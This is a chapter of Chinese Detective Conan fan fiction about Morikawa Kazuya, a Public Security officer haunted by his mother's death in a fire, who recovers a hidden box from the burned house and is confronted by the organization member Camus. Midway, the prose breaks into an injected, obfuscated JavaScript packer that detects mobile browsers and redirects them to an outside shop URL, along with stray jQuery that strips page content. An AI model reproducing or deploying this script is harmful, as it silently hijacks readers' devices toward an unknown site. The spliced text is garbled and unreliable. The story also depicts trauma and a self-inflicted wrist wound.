毕业典礼前一周，鬼冢八藏把森川和也叫到了办公室。


    办公室里只有他们两个人。鬼冢教官没坐在办公桌后，而是站在窗边，看着外面操场上正在做最后训练的学员。


    “坐。”鬼冢教官说，自己也在对面的椅子上坐下。


    “你的分配意向填的是搜查一课。”鬼冢教官从桌上拿起一份文件，但没有打开，“但我觉得那里不适合你。”


    森川没说话。


    “你的成绩单很特别。”鬼冢教官继续说，语气平静地陈述，“急救、现场医学、痕迹观察，这几项你比很多教官都强。理论课中等，格斗和射击——及格，但也就及格了。还有你的心理评估报告。”


    森川的手指几不可察地收紧了些。


    “创伤后应激障碍，火灾相关。”鬼冢教官看向他，“如果去一线，你早晚会再碰到火灾现场。到时候，你是能救人的那个，还是需要别人救的那个？”


    办公室里很安静，能听到远处操场上隐约的口号声。


    “有个部门来找过我。”鬼冢教官把文件推到他面前，“警视厅公安部。他们看了你的档案，对你的观察和分析能力感兴趣。至于你的心理问题——他们说，那反而证明你有‘不愿提及的过去’，而这种人，有时候更适合他们那种活在阴影里的工作。”


    森川看着那份文件，封面上印着“公安部特别录用考察”的字样。


    “公安的工作，”鬼冢教官的声音低了些，“不光是抓犯人。他们要对付的是更模糊、更危险的东西——间谍、恐怖分子、渗透组织。很多时候，他们做的事永远不能公开。如果你去了，你的同期们可能很久都不会知道你在做什么，甚至可能会误会你。”


    “我知道。”森川说。


    “你知道什么？”鬼冢教官看着他。


    “知道那种感觉。”森川抬起头，“消失在人群里，做别人不理解的事。但是……如果这样做能保护重要的人，那就值得。”


    鬼冢教官看了他很久，最后点了点头：“文件拿回去看，三天内给我答复。不管你选什么，记住——警校教你们的，不只是怎么当警察，更是怎么活下去。”


    “是。”


    毕业后的生活，和森川想象的不太一样。


    公安的工作确实隐秘。他没有固定的办公桌，大部分时间在外面跑，接触的人三教九流，做的事五花八门。写报告要用暗语，行动要报备但不说细节，同事之间礼貌而疏远。


    唯一让他觉得还在人间的，是和那几个人的聚会。


    通常是在某个小居酒屋，伊达航、松田阵平、萩原研二——如果大家都有空的话。诸伏景光和降谷零从毕业后就断了联系，偶尔有传闻，但没人知道确切消息。


    “那两个家伙，”松田阵平喝了一口啤酒，把杯子重重放下，“绝对是去干见不得人的事了。”


    “小阵平，别这么说嘛。”萩原研二笑嘻嘻地给他添酒，“说不定是机密任务呢。”


    “机密到连个电话都不能打？”松田皱眉，“这都大半年了。”


    伊达航吃着烤鸡肉串，声音沉稳：“他们有他们的理由。我们能做的就是相信他们，然后把自己手头的工作做好。”


    森川和也安静地坐在角落里，听他们说话。他面前的酒杯还是满的。


    “小和也，你呢？”萩原研二看向他，“听说你在总务部？怎么样，无聊吗？”


    “还好。”森川说，“整理文件，跑跑腿。挺清闲的。”


    “清闲不好吗？”伊达航说，“总比我们一天到晚出现场强。”


    “就是。”萩原研二凑近些，压低声音，“不过我说啊，森川，你这脸色可不像清闲的样子。黑眼圈都快掉地上了。”


    “最近睡得不好。”森川实话实说。


    是真的睡不好。自从他开始偷偷调查父母的事，每晚一闭眼，就是四年前那场大火。火焰的颜色，热浪的触感，还有母亲最后推他出去时手上的温度——这些记忆越来越清晰，清晰得不像记忆，倒像是一直在眼前重播。


    他在公安内部的系统里查过父亲的失踪案，档案编号还在，内容只有寥寥几行：失踪，原因不明，调查中止。母亲的火灾案结论是意外，现场照片和报告都有，有些细节对不上——但森川和也不知道是不是因为自己错乱的记忆。


    他想调取更详细的资料，可权限不够。每次申请，系统都提示“该案件涉及更高级别机密，您的权限不足”。


    那天晚上，他独自坐在办公室里，看着电脑屏幕上“权限不足”的红色提示，突然产生了一个荒谬的念头。


    如果这个身份查不到，要不要重开一个？像之前玩游戏那样，删号，重练，换个身份从头开始。


    这个念头让他后背发凉。不是因为觉得疯狂，而是因为他发现自己真的在认真考虑可行性——计算需要多少时间，从哪里开始。


    这是一件没有成本的事。


    他知道这不对……但有什么不对？他是玩家，所有的一切都是为他服务的，他控制不住去想。


    如果重来一次，是不是就能更早查到真相？是不是就能阻止一些事？


    如果重来一次，他会不会选择走另一条路，不去警校，不遇见这些人——


    不。这个念头被他狠狠掐灭了。


    他不能重来。


    布伦尼文的死好像还是昨天的事，但他知道再也回不去那天了。他再也不会和琴酒搭档，不管用什么身份都没办法再次接近他。


    是森川海自己选择了错误的死亡。


    ……


    联合办案是个意外。萩原研二和松田阵平所在的□□处理班在处理一个疑似恐怖分子安置炸弹的案件。森川因为公安需要协调情报，也被派了过去。


    和同期撞上时，双方都很惊讶。


    森川在心里骂人，说好的隐姓埋名在黑暗中被误解呢？都是骗人的！这下好了，怎么跟这两个家伙解释？


    而萩原开开心心地就过来了：“原来小和也是在公安工作呀，我和松田就说你肯定不会去总务部——”


    “嘛，既然这样就好办了。”松田倒是松了口气，“你的同事们很讨厌啊。”


    森川和也：“……”


    “同事讨人厌，我也要挨打吗？”森川真诚地问。


    “……你知道我不是这个意思！”


    炸弹在一个废弃仓库。炸弹已经拆除，但现场还需要勘查。森川在仓库二楼的栏杆边站着，看下面的人忙碌。


    萩原研二上来找他，手里拿着两罐咖啡：“喏，提提神。”


    “谢了。”森川接过，但没打开。


    “小和也，”萩原研二靠在旁边的栏杆上，“你最近是不是有什么事？”


    “为什么这么问？”


    “因为你站在这儿的样子，”萩原研二转过头看他，“不像是在看现场，像是在想从这里跳下去会怎么样。”


    森川的手指收紧了。罐装咖啡的外壳发出轻微的变形声。


    “我开玩笑的。”萩原研二立刻说，语气轻松，但眼神没离开他的脸，“不过说真的，如果有什么事，可以跟我们说。虽然那两个家伙不在，但我和小阵平、班长都在这儿。”


    “我没事。”森川说。


    “是吗？”萩原研二笑了，“那你告诉我，你左手手腕内侧那个新伤疤，是怎么来的？”


    森川下意识地把左手往身后藏了藏。


    那是上周的事。他在家里又一次梦到火灾。惊醒的时候手里拿着把水果刀，刀尖抵在手腕上。他没想自杀——至少现在没有。但身体记住了某种冲动，那种如果重来一次的冲动。


    刀尖划破了皮肤，留下一道不会消失的伤痕。


    “不小心划到的。”他说。


    萩原研二没再追问。他喝完自己的咖啡，拍了拍森川的肩膀：“下班后去喝一杯？就我们三个。”


    那天晚上，在常去的那家居酒屋，三个人坐在角落里。


    一开始只是闲聊工作上的事。直到松田阵平突然说：“森川，你是不是在查什么？”


    森川抬起头。


    “公安的人不会闲着。”松田阵平盯着他，“但你最近的状态，不像是在处理正常工作。你在查私事，对吧？”


    萩原研二在旁边安静地听着。


    森川和也沉默了很久。居酒屋里有点吵，隔壁桌的人在划拳，老板娘在柜台后算账，烤炉上的肉串滋滋作响。


    “我父母的案子。”他最终说，“我想知道真相。”


    “查到什么了？”松田阵平问。


    “什么都查不到。”森川说，“权限不够。每次申请都被驳回。”


    “所以你在想别的办法？”萩原研二轻声问。


    森川和也没否认。


    “蠢货。”松田阵平说，但语气里没有责备，“查不到就慢慢查，等权限够了再查。你急什么？”


    “我不知道。”森川说，“但我总觉得……如果再等下去，会来不及。”


    “什么来不及？”


    森川和也答不上来。那只是一种感觉，一种源于玩家的紧迫感。他知道有什么事情要发生了，但他不知道是什么事，也不知道在什么时候。


    “带我们去看看。”松田阵平突然说。


    “看什么？”


    “你母亲出事的地方。”松田站起身，“既然你想查，光坐着想没用。去现场，用眼睛看。”


    老房子还在。


    四年前那场火灾后，房子一直空着。周围的邻居搬的搬，走的走，这片街区显得格外冷清。房子外表被熏黑的痕迹还在，窗户都用木板封死了，门口贴着“危险勿近”的告示。


    推开门，一股灰尘和焦糊的味道扑面而来。


    森川和也站在门口，没动。


    里面很暗，只有从破掉的窗户缝隙里透进来的光。客厅的天花板塌了一半，地上的家具烧得只剩框架，墙上全是烟熏的痕迹。


    “森川？”萩原研二回头叫他。


    森川的呼吸开始变快。他盯着那片黑暗，眼前开始出现重影——四年前的火焰仿佛还在燃烧，热浪一阵阵扑来，他能听到木头爆裂的声音，听到母亲的呼喊——


    “森川！”松田阵平的声音把他拉回来。


    森川和也猛地吸了口气。


    “你母亲当时在哪里？”萩原研二问，声音很轻。


    “二楼卧室。”森川的声音发干。


    他们踩着烧毁的楼梯上楼。楼梯板发出不堪重负的吱呀声，每一步都扬起灰尘。


    二楼的情况更糟。主卧室的门烧没了，里面的床、衣柜、梳妆台，全都成了一堆焦黑的残骸。地上有消防水渍干涸后的痕迹，混着灰烬，像被烧干的泪渍。


    森川站在卧室门口，一动不动。


    就是这里。四年前他冲进来，看到母亲躺在床上。


    床上是什么，为什么鲜红一片？


    他冲过去想拉她，房梁掉下来，滚烫的窗框砸在他的手上，金属划开他的皮肤，然后是衣柜——


    他开始发抖。


    “森川，”松田阵平走到他身边，“你当时进来的时候，看到了什么？”


    “火……很多血……我妈妈倒在那里……”森川的声音断断续续，“我想拉她……然后……”


    他的视线落在卧室角落。那里有个烧焦的梳妆台残骸，抽屉都掉出来了，里面的东西散了一地，全是烧毁的杂物。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17189137|197044||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    有什么东西在记忆里闪了一下。


    ——母亲把他往外推的时候，好像往他手里塞了什么东西。一个小小的、冰凉的东西。


    他当时太慌也太害怕，没注意。后来在医院醒来手里什么都没有，他以为是自己记错了。


    但现在站在这里，那个触感突然变得无比清晰。


    “她给了我一件东西。”森川说，“但我丢了。或者……我藏起来了？”


    “藏在哪里？”萩原研二问。


    森川环顾四周。这个房间，这个家，他从小长大的地方。如果小时候要藏东西，会藏在哪里？


    墙角的踢脚线？地板下的暗格？还是——


    窗台。卧室的窗台外面，有一小块放花盆的水泥台。小时候，他经常把不想被母亲发现的“宝贝”藏在那里，用塑料袋包好，塞在花盆底下。


    森川走到窗边。窗户早就烧没了，窗框变形，外面那块水泥台还在，上面堆着烧塌的碎砖和灰烬。


    他伸手去扒。松田阵平和萩原研二对视一眼，也过来帮忙。


    砖块和灰烬被一点点清开。水泥台边缘，有一块松动的砖。


    森川的手抖得更厉害了。他抠住砖块的边缘，用力——


    砖块被拿开了。里面是一个小小的、被烧得变形的铁盒。


    铁盒已经锈蚀，盖子卡死了。


    “回去再看。”森川和也心里越来越慌，“我们先走。”


    就在这时，楼下传来脚步声。


    不是一个人，是几个人，脚步很轻。


    松田阵平立刻按住森川的肩膀，示意他别出声。萩原研二悄无声息地挪到门边，从烧毁的门框边缘往外看。


    楼下站着三个男人。都穿着黑色的衣服，戴着帽子，看不清脸。他们站在客厅里，正在打量四周。


    “找东西的。”萩原研二用口型说。


    松田阵平看向森川手里的铁盒。


    森川的心脏狂跳起来。这些人是谁？为什么现在来这里？他们也在找这个东西？


    怎么会这么巧？


    楼下的一个人抬起头，看向楼梯的方向。他的目光似乎穿透了黑暗，直直落在二楼。


    “上面有人。”那个人说。


    松田阵平一把拉起森川：“后窗。快。”


    他们从卧室后窗翻出去。窗外是个窄窄的屋檐，连着隔壁房子的屋顶。萩原研二先跳过去，然后伸手接应森川和也，松田阵平断后。


    三个人在屋顶上猫着腰移动。下面传来破门而入的声音，那几个人追上来了。


    “分开走。”松田阵平低声说，“我和hagi引开他们，你带着东西先走。”


    “不行——”


    “别废话。”松田阵平推了他一把，“你是公安，这东西肯定重要。快走。”


    萩原研二给了森川一个“放心”的眼神，然后和松田阵平朝另一个方向跑去，故意弄出响声。


    森川咬咬牙，朝反方向跑。他跳过几个屋顶，找到一处防火梯，爬下去，落在小巷里。


    小巷很暗，堆满了垃圾箱。他刚落地，就听到身后有脚步声追来。


    不是松田他们引开的那几个。是另一个人，从巷子另一头堵过来了。


    那个人从阴影里走出来。


    他——森川海脸色煞白，他认识这个人！


    卡慕，当初杀死过清水茶柱的代号成员，没想到现在竟然还活着？！


    森川和也的事和黑衣组织有关！


    卡慕开口：“把东西交出来。”


    “什么东西？”森川和也把U盘悄悄塞进裤子口袋深处。


    “你母亲留给你的。”卡慕说，“别装傻。我们找了四年。”


    森川和也的心沉了下去。


    “你们是谁？”他问，同时慢慢后退，眼睛在寻找逃跑的路线。


    “你不需要知道。”卡慕走近一步，“把东西给我，你可以活着离开。”


    谁会信这种话？森川转身就跑。但他刚跑出两步，就感到后颈一痛——被什么东西击中了。他踉跄着扑倒在地，眼前发黑。


    森川和也身体素质太差了，连技术员清水茶柱都比不上，早知道这样他一定会跟着降谷零好好训练的。


    卡慕蹲在他面前。


    “何必呢。”卡慕说，伸手去搜他的口袋。


    就在男人的手碰到铁盒的瞬间，森川和也猛地抬头，脱口而出：“卡慕！”


    男人的动作顿住了。他盯着森川，眼睛里第一次出现了情绪——惊讶，然后是杀意。


    “你怎么知道这个名字？”卡慕的声音冷了下来。


    没有回答。


    卡慕抓住他的头发，把他的头提起来：“说。谁告诉你的？”


    “哈。”森川和也发出一声嘲讽的笑，“你们像狗一样，追着我爸妈咬了十几年，结果还不是被耍了？你以为这么重要的东西她会给我，别犯蠢了——”


    枪声。


    森川和也的大脑一片空白。


    卡慕饶有兴味地侧了侧头，语气轻柔：“啊，你的朋友好像死了呢。”


    森川和也先是愣住，随后是巨大的愤怒。


    “你当初为什么想杀布伦尼文？”森川和也突然问，“你和他没有利益冲突，还是说你暗恋琴酒？”


    他观察着卡慕的表情。


    “哦，我明白了，布伦尼文的推论是错误的，你不是老鼠。”


    卡慕反而把枪收起来了。


    “有点意思。”卡慕评价，“你可不该知道这么多……是你那早死的爸告诉你的，还是布伦尼文那个废物？”


    “或许都不是。”森川和也冷冷地看着卡慕，“你猜猜琴酒有多清白呢？”